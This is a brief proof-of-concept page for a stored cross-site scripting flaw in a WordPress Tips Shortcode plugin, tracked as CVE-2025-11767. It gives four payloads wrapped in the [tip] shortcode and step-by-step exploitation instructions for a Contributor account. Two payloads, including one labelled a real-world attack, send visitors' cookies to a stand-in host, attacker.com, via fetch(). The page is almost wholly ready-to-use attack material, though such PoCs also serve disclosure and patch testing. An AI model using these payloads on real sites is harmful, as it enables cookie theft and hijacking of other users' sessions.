CVE-2025-11767 WordPress Tips Shortcode插件存储型XSS漏洞

## CVE-2025-11767 PoC - Stored XSS via [tip] Shortcode ### Method 1: Using onerror event handler [tip]<img src=x onerror=alert(document.domain)>[/tip] ### Method 2: Using onload event handler [tip]<img src=x onload=alert(document.cookie)>[/tip] ### Method 3: Using script tag [tip]<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>[/tip] ### Method 4: Using SVG element [tip]<svg onload=alert('XSS')>[/tip] ### Exploitation Steps: 1. Authenticate as Contributor or higher role 2. Create/edit a post or page 3. Insert the malicious shortcode with XSS payload 4. Save/publish the content 5. When any user views the page, the XSS payload executes ### Real-world attack payload example: [tip]<img src=x onerror="fetch('https://attacker.com/api/steal',{method:'POST',body:document.cookie})">[/tip]